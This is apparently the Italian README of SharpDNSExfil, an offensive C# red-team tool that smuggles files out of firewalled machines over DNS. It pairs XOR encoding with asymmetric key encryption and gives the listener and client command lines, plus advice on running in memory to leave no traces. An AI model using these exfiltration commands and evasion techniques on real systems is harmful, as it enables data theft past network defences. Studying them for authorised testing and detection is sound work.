
Strumento C# per esfiltrare file tramite DNS utilizzando crittografia XOR e asimmetrica, progettato per operazioni red team con connessioni in uscita limitate.
SharpDNSExfil è uno strumento di esfiltrazione scritto in C#. L'obiettivo principale è esfiltrare qualsiasi file "su disco" senza doversi preoccupare di connessioni in uscita restrittive.
Ho ottenuto una RCE cieca durante il mio engagement e si è scoperto che la macchina remota ha una protezione firewall che non consente connessioni in uscita e mi ha dato filo da torcere per ottenere una connessione inversa. La buona notizia è che il server DNS può risolvere domini pubblici ed è in grado di raggiungermi tramite DNS. Il problema è che non riuscivo ancora ad ottenere una reverse shell, potevo leggere alcuni piccoli output, ma niente di buono. Quindi ho avuto l'idea di automatizzare il processo solo tramite DNS e ripetere tutti i passaggi, e finalmente funziona!
AVVERTENZA: L'intero processo è stato testato solo attraverso un server DNS pubblico personalizzato, ma non è stato completamente testato in un ambiente aziendale reale. Quindi usalo a tuo rischio!
Tutti i byte esfiltrati vengono XORati con una chiave generata casualmente. Potresti pensare che la chiave sarà quindi in testo chiaro a livello di rete (Wireshark lo farà). Con l'opzione --encrypt, entra in gioco la crittografia asimmetrica: una chiave pubblica hard-coded crittografa la chiave XOR. La macchina locale (tu) si aspetterà una forma crittografata della chiave, lo script Python decritterà automaticamente la chiave con la sua chiave privata hard-coded. Il resto dei dati trasmessi verrà ri-XORato ai byte originali. Quindi, per favore cambia sempre le coppie di chiavi
| Prima della crittografia | Dopo la crittografia |
|---|---|
![]() | ![]() |
dnsserver.py. Le opzioni sono le seguentipython3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
I passi e i processi di SharpDNSExfil devono essere eseguiti tutti in memoria senza toccare il disco per evitare di lasciare tracce durante l'engagement. SharpDNSExfil informerà su ogni passo o processo eseguito in background con l'opzione --verbose. Ogni byte inviato è codificato XOR e la chiave verrà ulteriormente crittografata con crittografia asimmetrica per evitare chiavi in testo chiaro nel traffico di rete. Sii molto attento e prendi sempre appunti e fai pulizia sulla proprietà del cliente.